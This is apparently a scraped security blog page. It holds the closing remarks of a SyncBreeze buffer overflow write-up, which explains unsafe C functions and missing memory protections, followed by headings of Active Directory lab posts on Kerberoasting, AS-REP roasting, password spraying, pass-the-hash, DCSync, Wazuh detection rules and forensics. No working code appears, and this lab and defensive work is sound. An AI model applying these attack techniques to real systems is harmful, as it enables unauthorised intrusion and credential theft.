From a development perspective, several failures contributed to this exploit. Since I do not have access to the source code of the application, I cannot pinpoint exactly where the developers went wrong. However, buffer overflow exploits occur when:

Unbounded functions such as gets, strcpy, and sprintf are used
There is no validation of input length
No reasonable limits on fields like usernames

Missing Platform Protections

Even if an overflow occurs, modern systems can still prevent exploitation. SyncBreeze lacked:

ASLR
DEP
Stack canaries
Control-flow integrity checks

With these protections enabled, reliably redirecting execution would have been significantly more difficult or impossible.

Closing Thoughts

This exploit isn’t interesting because it’s new; it isn’t. It’s interesting because it shows how small development decisions and missing safeguards compound into full system compromise.

Understanding these mechanics matters not just for offensive security, but for anyone responsible for building, approving, or maintaining software systems.

Exploitation is not magic. It’s the predictable result of assumptions, shortcuts, and missing defenses.

That’s the real takeaway.

Gabriel Barbir

GOAD - User Enumeration, AS-REP Roasting, and Kerberoasting

Enumerating Users Without Credentials

Getting the Password Policy

Building a Username List with OSINT

Kerbrute Username Validation

Guest and Anonymous SMB Share Access

AS-REP Roasting

Password Spraying

Expanding the User List

Kerberoasting

Authenticated Share Enumeration

Where This Leaves Us

GOAD Phase 1 - Detection: Wazuh and Suricata Analysis

A Problem I Had to Fix First: No Sysmon

Detecting the NXC SMB Sweep

Detecting Nmap in Wazuh

Detecting the Port Scan in Suricata

Why Port Scan Detection Is Hard

Summary

GOAD Phase 1 - Recon & Network Enumeration

Scanning the Network

SMB Sweep

Host Discovery

Full Port Scan

GOAD - Lab Build & Environment Setup

What This Lab Is

Why GOAD Instead of Metasploitable

Hardware Constraints and How I Worked Around Them

Getting GOAD Actually Running

Wazuh Agents

Suricata on Windows

Why Not Just Use HTB or TryHackMe

What’s Next

AD Attack Lab (Part 3) - Detection Engineering

A Quick Note on How Wazuh Handles Logs

The Five Detection Rules

Rule 1 — Password Spray: Failed Logon (T1110.003)

Rule 2 — Password Spray: Kerberos Pre-Auth Failure (T1110.003)

Rule 3 — Kerberoasting (T1558.003)

Rule 4 — AS-REP Roasting (T1558.004)

Rule 5 — Pass-the-Hash (T1550.002)

Rule 6 — DCSync (T1003.006)

False Positive Testing

Test 1 — Wrong Password at the Workstation

Test 2 — Failed Kerberos Authentication from Kali

Test 3 — Mapped Network Drive to the DC

All Five Rules — Summary View

MITRE ATT&CK Coverage

What’s Next

AD Attack Lab (Part 4) - Windows Forensic Investigation

Step 1 — Exporting the Logs

Step 2 — Parsing with EvtxECmd

Step 3 — Loading Timeline Explorer

The Investigation

Event ID 4771 — Kerberos Pre-Auth Failures (First Contact)

Event ID 4625 — Failed NTLM Logons (SMB Spray)

Event ID 4624 — Successful NTLM Logon (Pass-the-Hash)

Event ID 4769 — Kerberos Service Ticket Request (Kerberoasting)

Event ID 4768 — Kerberos Auth Ticket Request (AS-REP Roasting)

Event ID 4728 — Member Added to Privileged Group (Privilege Escalation)

Event ID 4662 — Directory Replication (DCSync)

Forensic Q&A

Attack Timeline

What This Lab Produced

AD Attack Lab (Part 1) - Lab Build & Environment Setup

Setting the Stage

Infrastructure

Building the Domain

Planting the Attack Targets

Kerberoastable Service Accounts

AS-REP Roastable Account

Sysmon + Wazuh Agent Enrollment

Baseline Check: Confirming Logs Flow Before Attacking

What’s Next

AD Attack Lab (Part 2) - Running the Attacks

Attack 1: Password Spraying

What It Is

Running the Attack

What Wazuh Saw

So, what do we overwrite `Next` with?